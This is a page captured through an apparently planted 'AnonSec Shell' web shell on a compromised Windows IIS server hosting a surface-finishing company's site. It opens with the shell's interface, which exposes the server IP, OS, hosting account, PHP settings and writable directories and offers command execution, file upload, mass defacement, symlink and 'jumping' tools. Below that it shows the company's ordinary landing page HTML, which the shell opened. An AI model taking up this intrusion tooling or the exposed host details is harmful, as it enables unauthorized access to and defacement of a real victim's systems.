. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/growel-one/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs//growel-one/index.html
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Growel 1 - Book a Demo</title>
    <meta name="description" content="Growel 1: Expert Surface Finishing Solutions for Diverse Industries. Growel's comprehensive surface finishing solutions tailored for industries like automotive, aerospace, electronics, and more. With over 65 years of expertise, we provide customized approaches to meet your specific requirements.">
    <meta name="keywords" content="Surface finishing solutions, surface finishing experts, surface finishing industries, surface finishing automotive, surface finishing aerospace, surface finishing electronics, surface finishing coatings, surface finishing plating, corrosion protection coatings, surface finishing challenges, surface finishing technologies, surface finishing processes, surface finishing chemicals, surface finishing equipment, surface finishing consultancy, surface finishing support, surface finishing expertise, surface finishing solutions provider, surface finishing industry leader, surface finishing technology, surface finishing quality, surface finishing reliability, surface finishing performance, surface finishing efficiency">
    <meta name="robots" content="index, follow">
    <meta property="og:title" content="Growel 1: Expert Surface Finishing Solutions for Diverse Industries">
    <meta property="og:description" content="Growel's comprehensive surface finishing solutions tailored for industries like automotive, aerospace, electronics, and more. With over 65 years of expertise, we provide customized approaches to meet your specific requirements.">
    <meta property="og:image" content="">
    <meta property="og:url" content="https://growel.com/growel-one/">
    <meta name="twitter:card" content="summary">
    <meta name="twitter:title" content="Growel 1: Expert Surface Finishing Solutions for Diverse Industries">
    <meta name="twitter:description" content="Growel's comprehensive surface finishing solutions tailored for industries like automotive, aerospace, electronics, and more. With over 65 years of expertise, we provide customized approaches to meet your specific requirements.">
    <meta name="twitter:image" content="">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="css/style.css">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" />
    <link rel="stylesheet" href="https://unpkg.com/swiper/swiper-bundle.min.css" />
    <link href="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.0/dist/sweetalert2.min.css" rel="stylesheet">
    <link rel="canonical" href="">
    <link rel="icon" href="https://growel.com/Includes/images/favicon.png" type="image/x-icon">
    <style>
        .button-darker, .button-darker:focus, .button-darker:active {
            color: #fff;
            background-color: #2a2a2a;
            border-color: #2a2a2a;
            font-family: 'Square721BT-Roman', cursive;
        }
    </style>
</head>

<body>
    <!-- Navbar -->


	
    <nav class="navbar navbar-expand-lg">
        <div class="container">
            <a class="navbar-brand" href="#"><img src="images/logo.png" width="150px"></a>
            <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav"
                aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbarNav">
                <ul class="navbar-nav ms-auto">

                    <li class="nav-item "><a class="nav-link text-danger"
                            href="mailto:corporatecommunications@growel.com"><i class="fa fa-envelope"
                                aria-hidden="true"></i> corporatecommunications@growel.com</a></li>
                </ul>
            </div>
        </div>
    </nav>

    <!-- Carousel Section -->
    <div class="carousel-container">
        <div id="carouselExampleIndicators" class="carousel slide" data-bs-ride="carousel">
            <div class="carousel-indicators">
                <!-- <button type="button" data-bs-target="#carouselExampleIndicators" data-bs-slide-to="0" class="active"
                    aria-current="true" aria-label="Slide 1"></button>
                <button type="button" data-bs-target="#carouselExampleIndicators" data-bs-slide-to="1"
                    aria-label="Slide 2"></button>
                <button type="button" data-bs-target="#carouselExampleIndicators" data-bs-slide-to="2"
                    aria-label="Slide 3"></button> -->
            </div>
            <div class="carousel-inner">
                <div class="carousel-item active">
                    <img src="images/chemicals.jpg" class="img-fluid" class="d-block w-100" alt="Slide 1">
                    <div class="carousel-overlay"></div>
                    <div class="carousel-caption ">
                        <h2>Growel <span style="
                            color: #eb1309;
    font-weight: bolder;">1</span> : Your Partner in <br> <span
                                class="caption_finish">Surface Finishing
                                Solutions</span></h2>
                        <p>Got a problem? We've got the solution.</p>
                    </div>
                </div>

            </div>

        </div>
        <div class="demo-form-container">
            <h4>Talk to Us</h4>
            <p>Schedule a meeting to explain your problem.</p>
            <form class="contactForm">
                <div class="mb-3">
                    <label for="txtnameQ" class="form-label">Name</label>
                    <input name="ctl00$txtnameQ" type="text" class="form-control txtnameQ" placeholder="Enter your name" required>
                </div>
                <div class="mb-3">
                    <label for="comapny_name" class="form-label">Company Name</label>
                    <input type="text" name="comapny_name" class="form-control company_name" placeholder="Company Name" required>
                </div>
                <div class="mb-3">
                    <label for="txtemailQ" class="form-label">Email</label>
                    <input type="email" name="email" class="form-control txtemailQ" placeholder="Enter your email" required>
                </div>
                <div class="mb-3">
                    <label for="txtmobileQ" class="form-label">Contact No.</label>
                    <input type="number" name="phone" class="form-control txtmobileQ" placeholder="Enter your Contact Number" required>
                </div>
                <div class="mb-3">
                    <label for="TextBox1" class="form-label">Write Your Requirements</label>
                    <textarea name="message" rows="2" cols="20" class="form-control TextBox1" placeholder="Enter your message" required></textarea>
                </div>

                <!-- CAPTCHA -->
                <div class="mb-3">
                    <label for="captcha" class="form-label">Enter the text below</label>
                    <div class="captcha-container">
                        <span class="captcha-text"></span>
                        <input type="text" class="form-control captcha-input" placeholder="Enter CAPTCHA" required>
                    </div>
                </div>

                <button class="btn btn-danger" type="submit" id="submitBtn">Submit</button>
            </form>
            
        </div>
    </div>

    <br>
    <!-- industry -->
    <div class="container">
        <div class="row">
            <div class="text-center">
                <img src="images/divider.png" class="img-fluid">
                <h2>Got a problem? We've got the solution.</h2>

                <p>Surface finishing is a complex process influenced by multiple variables, including chemical
                    concentrations, operating conditions, atmospheric humidity, and even geographic factors. Any
                    short-term fixes or interim solutions can significantly impact costs and environmental impact.</p>
                <p>Whether you're dealing with recurring challenges, high operational expenses, considering process,
                    modifications, or technology upgrades, expert guidance is essential to achieve optimal and
                    consistent surface coatings. Growel has proven solutions and experience across diverse sectors such
                    as:</p>
                <p></p>
                <br>
            </div>

            <div class="swiper mySwiper">
                <div class="swiper-wrapper">
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/electric-car-icon-ev-electric-vehicle-charging-station-vector-icon-isolated-white.png"
                                    alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Automotive and Electric Mobility</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/aerospace.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Aerospace and Defence </a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/electronic-component-black.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Electronics</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/architectural-and-sanitaryware.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Architectural and Sanitaryware</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/jewellery.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Jewellery</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/railways.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Railways</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/oil-and-gas.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Oil and Gas</a>
                                </h3>
                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/cable-and-wire.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Cable and Wire</a>
                                </h3>

                            </div>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <div class="post-slide">
                            <div class="post-img">
                                <img src="images/icons/tool-manufacturing.png" alt="" class="img-fluid">
                                <a href="#" class="over-layer"><i class="fa fa-link"></i></a>
                            </div>
                            <div class="post-content">
                                <h3 class="post-title">
                                    <a href="#">Tool Manufacturing</a>
                                </h3>

                            </div>
                        </div>
                    </div>


                </div>
                <div class="swiper-pagination"></div>
            </div>
            <div class="col-md-4">

            </div>

        </div>
    </div>
    <br>
    <section class="cta-section">
        <h2>Ready to Solve Your Surface Finishing Problems?</h2>
        <p><strong>Schedule a Demo Today</strong> and let us help you with unmatched expertise, tailored solutions, and
            proven methodologies.</p>

        <button class="button1" data-bs-toggle="modal" data-bs-target=".modal">
            Talk to Us
        </button>
    </section>


   <!-- Modal HTML -->
<div class="modal fade" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="exampleModalLabel">Contact Form</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <form class="contactForm">
                    <div class="mb-3">
                        <label for="txtnameQ" class="form-label">Name</label>
                        <input name="ctl00$txtnameQ" type="text" class="form-control txtnameQ" placeholder="Enter your name" required>
                    </div>
                    <div class="mb-3">
                        <label for="comapny_name" class="form-label">Company Name</label>
                        <input type="text" name="comapny_name" class="form-control company_name" placeholder="Company Name" required>
                    </div>
                    <div class="mb-3">
                        <label for="txtemailQ" class="form-label">Email</label>
                        <input type="email" name="email" class="form-control txtemailQ" placeholder="Enter your email" required>
                    </div>
                    <div class="mb-3">
                        <label for="txtmobileQ" class="form-label">Contact No.</label>
                        <input type="number" name="phone" class="form-control txtmobileQ" placeholder="Enter your Contact Number" required>
                    </div>
                    <div class="mb-3">
                        <label for="TextBox1" class="form-label">Write Your Requirements</label>
                        <textarea name="message" rows="2" cols="20" class="form-control TextBox1" placeholder="Enter your message" required></textarea>
                    </div>

                    <!-- CAPTCHA -->
                    <div class="mb-3">
                        <label for="captcha" class="form-label">Enter the text below</label>
                        <div class="captcha-container">
                            <span class="captcha-text"></span>
                            <input type="text" class="form-control captcha-input" placeholder="Enter CAPTCHA" required>
                        </div>
                    </div>

                    <button class="btn btn-danger" type="submit" id="submitBtn">Submit</button>
                </form>
            </div>
        </div>
    </div>
</div>

<!-- Trigger Button (for modal) -->
<!-- <button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target=".modal">
    Open Contact Form
</button> -->



    <!-- why growel Section -->

    <section id="how-we-can-help" class="content-section container">
        <div class="row">
            <div class="col-md-12">
                <div class="row">
                    <div class="col-md-6">
                        <div class="left-why_growel">
                            <img src="images/abt.jpg" alt="Why Choose Growel" class="content-image">
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="right-why_growel">
                            <br>
                            <img src="images/divider.png" class="img-fluid">
                            <p>About us</p>

                            <h3>Why Choose Growel?</h3>
                            <ul>
                                <li>65+ years of leadership in surface finishing</li>
                                <li>Proven solutions for diverse industries</li>
                                <li>Comprehensive product portfolio and expertise</li>
                                <li>Customised approaches for your specific requirements</li>
                            </ul>

                            <button class="button1" data-bs-toggle="modal" data-bs-target=".modal">
                                Talk to Us
                            </button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <br><br>
    <div class="hero-image">
        <div class="hero-text">
            <img src="images/divider.png" class="img-fluid">
            <h1>
                <h3>How We Can Help</h3>
            </h1>
            <p>At Growel, we understand the challenges you face in surface finishing, coatings, plating, or corrosion
                protection. That’s why we’ve created <strong>Growel One</strong> – a unique initiative to connect you
                with industry experts and customised solutions tailored to your needs.</p>

            <button class="button1" data-bs-toggle="modal" data-bs-target=".modal">
                Talk to Us
            </button>
        </div>
    </div>

    <!-- Meet Our Experts Section -->
    <section id="meet-our-experts" class="content-section container ">
        <div class="text-center">
            <img src="images/divider.png" class="img-fluid">
            <h3>Meet Our Experts</h3>
        </div>
        <p>Our team of surface finishing specialists are subject matter experts with decades of experience in the field
            of corrosion protection coatings and backgrounds in engineering. They have worked in the field of surface
            finishing, across multiple industry segments.</p>

        <ul id="expert">
            <li>Access qualified and experienced subject matter experts with ease.</li>
            <li>Specialised professionals for diverse technical needs.</li>
            <li>Swift analysis and tailored recommendations for potential causes.</li>
            <li>Minimise technical risks and optimise operational costs.</li>
            <li>Enhance regulatory compliance.</li>
        </ul>

    </section>


    <!-- testimonial -->
    <div class="container">
        <section class="creative-testimonial--slider">
            <div class="testimonial-inner"
                style="background-image: url(https://imgpanda.com/upload/ib/2Tgg58L106.png);">
                <div class="testimonial-row">
                    <h2 class="testimonial-heading text-danger">What the Best Say About Us</h2>
                    <div class="testimonial-wrap">
                        <div class="swiper-container">
                            <div class="swiper-wrapper">
                                <!-- Slide 1 -->
                                <div class="swiper-slide">
                                    <div class="swiper-slide--inner">
                                        <!-- <div class="slide-avatar">
                                            <img src="images/employee.png" alt="">
                                        </div> -->
                                        <div class="testimonial-detail">

                                            <p>“...truly delighted by the level of commitment and professionalism
                                                demonstrated by Growel. The quality was amazing and reflects good
                                                finishing.”</p>
                                            <span>- Leading plater from Western India</span>
                                        </div>
                                    </div>
                                </div>
                                <!-- Slide 2 -->
                                <div class="swiper-slide">
                                    <div class="swiper-slide--inner">
                                        <!-- <div class="slide-avatar">
                                            <img src="images/employee.png" alt="">
                                        </div> -->
                                        <div class="testimonial-detail">

                                            <p>“We have used Growel's Chemistries in our electroplating plant for the
                                                last
                                                18 years. We are using Cleaners, Alkaline Zinc-Nickel, Acid Zinc,
                                                Trivalent
                                                Passivation and more in our various plating processes. We appreciate
                                                consistency in quality that meets our OEMs' specifications. Support
                                                provided
                                                by Growel is excellent!”</p>
                                            <span>- Premier tool manufacturer from Northern India</span>
                                        </div>
                                    </div>
                                </div>
                                <!-- Slide 3 -->
                                <div class="swiper-slide">
                                    <div class="swiper-slide--inner">
                                        <!-- <div class="slide-avatar">
                                            <img src="images/employee.png" alt="">
                                        </div> -->
                                        <div class="testimonial-detail">

                                            <p>“Our special thanks for your excellent support on all 3 key deliverable
                                                expectations – Continuous Quality Assurance, Service and Troubleshooting
                                                Reliability and On Time delivery. Thanks for also participating with us
                                                in
                                                cost optimization & technology advent management, a challenge which is
                                                to be
                                                pursued continuously.”</p>
                                            <span>- Leading automotive component manufacturer from Eastern India</span>
                                        </div>
                                    </div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="swiper-slide--inner">
                                        <!-- <div class="slide-avatar">
                                            <img src="images/employee.png" alt="">
                                        </div> -->
                                        <div class="testimonial-detail">

                                            <p>“We have been using Growel products since last 35 years, chemicals are
                                                good
                                                in quality & consistency.”</p>
                                            <span>- One of the largest sanitaryware manufacturers in India</span>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <!-- <div class="swiper-button-next slide-btns"></div>
                            <div class="swiper-button-prev slide-btns"></div> -->
                        </div>
                    </div>
                </div>
            </div>
    </div>

    </div>
    <a href="https://wa.me/918082048048?text=Hi, I want to enquire about your services. " class="img-fluid whatsapp"
        draggable="false">
        <img src="images/social.png" alt="">
    </a>
    <footer>
        &copy; 2024 Growel. All Rights Reserved.
    </footer>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js">
    </script>
    <button onclick="topFunction()" id="myBtn" title="Go to top"><i class="fa fa-arrow-circle-o-up"
            aria-hidden="true"></i></button>
    <!-- <script src="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js"></script> -->
    <!-- <script src="https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js"></script> -->

    <script src="https://unpkg.com/swiper/swiper-bundle.min.js"></script>
	<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
	 <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.0/dist/sweetalert2.min.js"></script>

    <script>
$(document).ready(function () {

// Function to generate random CAPTCHA text
function generateCaptcha(form) {
    var captcha = Math.random().toString(36).substring(2, 8); // Generate a random string
    $(form).find('.captcha-text').text(captcha); // Set the CAPTCHA text in the span
}

// Ensure CAPTCHA is generated when modal is opened
$('.modal').on('show.bs.modal', function () {
    generateCaptcha($(this).find('form')); // Regenerate CAPTCHA inside the modal form
});

// Generate CAPTCHA for all forms on page load
generateCaptcha($('.contactForm'));  // For forms outside modal

// Handle form submission
$('body').on('submit', '.contactForm', function (event) {
    event.preventDefault(); // Prevent default submission

    // Validate CAPTCHA input
    var enteredCaptcha = $(this).find('.captcha-input').val();
    var captchaText = $(this).find('.captcha-text').text();

    if (enteredCaptcha !== captchaText) {
        Swal.fire({
            icon: 'error',
            title: 'Invalid CAPTCHA',
            text: 'Please enter the correct CAPTCHA.',
            confirmButtonText: 'OK'
        });
        generateCaptcha($(this)); // Regenerate CAPTCHA if invalid
        return;
    }

    // Gather form data
    var formData = {
        "Country": "-",
        "StateName": "-",
        "CityName": "-",
        "Vertical": "-",
        "CompanyName": $(this).find('.company_name').val(),
        "ClientName": $(this).find('.txtnameQ').val(),
        "MobileNo": $(this).find('.txtmobileQ').val(),
        "EmailId": $(this).find('.txtemailQ').val(),
        "Description": $(this).find('.TextBox1').val(),
        "Subject": "Enquiry from Growel One"
    };

    // AJAX request settings
    var settings = {
        "url": "https://Growel.com/sendmail.asmx/Send",
        "method": "POST",
        "timeout": 0,
        "headers": {
            "Content-Type": "application/x-www-form-urlencoded"
        },
        "data": formData,
        success: function (response) {
            // Log the server response for debugging
            console.log("Server response:", response);

            // Check if the response indicates success
            if (response.success) {
                Swal.fire({
                    icon: 'success',
                    title: 'Form submitted successfully!',
                    text: 'Your form has been sent.',
                    confirmButtonText: 'OK'
                });
            } else {
                Swal.fire({
                    icon: 'error',
                    title: 'Error submitting form',
                    text: 'There was an issue with your submission. Please try again later.',
                    confirmButtonText: 'OK'
                });
            }
        },
        error: function (xhr, status, error) {
            // Log the error for debugging
            console.error("AJAX Error:", error);

            Swal.fire({
                icon: 'error',
                title: 'Error submitting form',
                text: 'Please try again later.',
                confirmButtonText: 'OK'
            });
        }
    };

    // Send AJAX request
    $.ajax(settings);
});

});



    </script>

    

<script>
    document.getElementById('onlyFour').addEventListener('input', function (event) {
        const inputField = event.target;
        const errorMessage = document.getElementById('error-msg');
        if (inputField.value !== "4") {
            errorMessage.style.display = 'block';
            inputField.value = '';
        } else {
            errorMessage.style.display = 'none';
        }
    });
</script>
    <script>
        var swiper = new Swiper(".mySwiper", {
            slidesPerView: 4, // Default for large screens
            spaceBetween: 30, // Space between slides
            loop: true, // Enable infinite looping
            autoplay: {
                delay: 3000, // Delay in ms for autoplay
                disableOnInteraction: false, // Keep autoplay running even after interaction
            },
            pagination: {
                el: ".swiper-pagination",
                clickable: true, // Allow pagination to be clickable
            },
            breakpoints: {
                // For mobile devices
                0: {
                    slidesPerView: 1,
                    spaceBetween: 10,
                },
                // For tablets
                768: {
                    slidesPerView: 3,
                    spaceBetween: 20,
                },
                // For desktops and larger devices
                1024: {
                    slidesPerView: 4,
                    spaceBetween: 30,
                },
            },
            loopedSlides: 13, // Number of slides duplicated for smooth looping
            preloadImages: false, // Load images as needed
            centeredSlides: false, // Ensures slides align to the start without centering
            on: {
                slideChangeTransitionEnd: function () {
                    // Optional callback for debugging transitions
                    console.log("Slide changed");
                },
            },
        });
    </script>






    <script>
        // Get the button:
        let mybutton = document.getElementById("myBtn");

        // When the user scrolls down 20px from the top of the document, show the button
        window.onscroll = function () {
            scrollFunction()
        };

        function scrollFunction() {
            if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) {
                mybutton.style.display = "block";
            } else {
                mybutton.style.display = "none";
            }
        }

        // When the user clicks on the button, scroll to the top of the document
        function topFunction() {
            document.body.scrollTop = 0; // For Safari
            document.documentElement.scrollTop = 0; // For Chrome, Firefox, IE and Opera
        }
    </script>
    <script>
        document.querySelector('.scroll-indicator').addEventListener('click', () => {
            window.scrollBy({
                top: window.innerHeight,
                behavior: 'smooth',
            });
        });
    </script>
    <!-- <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> -->

</body>

</html>

Anon7 - 2022
AnonSec Team